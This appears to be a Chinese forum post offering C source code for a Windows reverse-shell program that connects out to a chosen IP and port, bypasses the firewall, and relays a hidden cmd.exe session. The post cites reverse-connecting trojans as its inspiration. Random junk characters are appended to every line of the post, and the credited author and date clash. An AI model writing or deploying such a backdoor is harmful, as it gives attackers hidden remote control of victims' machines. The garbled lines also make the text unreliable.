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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IG2r#N|C#  
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/* ============================== Hj^1or3R]  
Rebound port in Windows NT G<65H+)M\  
By wind,2006/7 l+KY)6o  
===============================*/ +^60T$  
#include ztcp/1jIvS  
#include +r2+X:#~T  
]_f_w 9]  
#pragma comment(lib,"wsock32.lib") &u$Q4  
ZMQ Zs~;~d  
void OutputShell(); _kef 0K6  
SOCKET sClient; 9ijfRqI=x  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DX#Nf""Pw  
A8muQuj]~~  
void main(int argc,char **argv) XO.jl"xu  
{ xQ7l~O b  
WSADATA stWsaData; rBQ_iB_  
int nRet; D+lAhEN  
SOCKADDR_IN stSaiClient,stSaiServer; \V;F/Zy(  
"q3ZWNS'w  
if(argc != 3) u-QB.iQ+s  
{ <}C oQz  
printf("Useage:\n\rRebound DestIP DestPort\n"); D+TD 95t  
return; Ri<u/ ]oR"  
} t% d Z-Ym  
YL!P0o13r  
WSAStartup(MAKEWORD(2,2),&stWsaData); 0"jY.*_EW  
l!D}3jD  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d[iQ` YW5  
zO-z%y  
stSaiClient.sin_family = AF_INET; ` 'DmDg  
stSaiClient.sin_port = htons(0); p*XANGA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7`*h2 mgY  
R$R *'l  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j\eI0b @*  
{ ^um<bWNc  
printf("Bind Socket Failed!\n"); E^ B'4  
return; N=V==Dbu-  
} /2&c$9=1  
Cwv9 a^  
stSaiServer.sin_family = AF_INET; ahusta  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5?f ^Rz  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /J]5H  
tj'\tW+s'  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) { a =#B)6  
{ z<MsKD0Q  
printf("Connect Error!"); y'3rNa]G1  
return; akmkyrz'&  
} Na<pwC  
OutputShell(); j`EXlc~  
} ?>VLTp8]  
'6DBs8>1  
void OutputShell() })'B<vq  
{ V.U| #n5  
char szBuff[1024]; =7?4eYHC  
SECURITY_ATTRIBUTES stSecurityAttributes; 9=s<Ld  
OSVERSIONINFO stOsversionInfo; &5>Kl}7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QFA8N  
STARTUPINFO stStartupInfo; 2IK}vDsis  
char *szShell; @="Pn5<]C  
PROCESS_INFORMATION stProcessInformation; 9[#pIPxNK  
unsigned long lBytesRead; W<'m:dq  
[|v][Hwv  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xu{1".\  
n3WlZ!$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Lw1Yvtn  
stSecurityAttributes.lpSecurityDescriptor = 0; <3n Mx^  
stSecurityAttributes.bInheritHandle = TRUE; [DuttFX^x  
rm7ANMB:  
Zj(AJ*r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h0EEpL|\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'B |JAi?  
Y_liA  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "MeVE#O  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y/F6\oh  
stStartupInfo.wShowWindow = SW_HIDE; =F|{# F  
stStartupInfo.hStdInput = hReadPipe; /WcG{Wdp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jRa43ck  
10Q ]67  
GetVersionEx(&stOsversionInfo); #mxPw  
,~U>'&M;  
switch(stOsversionInfo.dwPlatformId) soxc0OlN  
{ KYm0@O>;  
case 1: l$KA)xbI  
szShell = "command.com"; AI2)g1m  
break; g&L!1<, p  
default: hgG9m[?K  
szShell = "cmd.exe"; iI T;K@&  
break; M/f<A$xx_  
} E:68?IJ  
&ANf!*<\E  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `7E;VL^Y1  
7sCG^&Y  
send(sClient,szMsg,77,0); qz_7%c]K[  
while(1) LE Nq_@$  
{ (TtkFo'!U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (XTG8W sN  
if(lBytesRead) fUWG*o9  
{ XSB"{H>&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BKCiIfkZ  
send(sClient,szBuff,lBytesRead,0); RMV/&85?y  
} n&4N[Qlv,  
else ?FZ HrA  
{ {lzWrUGO  
lBytesRead=recv(sClient,szBuff,1024,0); KfEx"94  
if(lBytesRead<=0) break; 1ba~SHi  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bSlF=jT[S  
} )u&|_&g{}J  
} n+9=1Oo"  
eb\K "ec"  
return; AR%4D3Dma  
}
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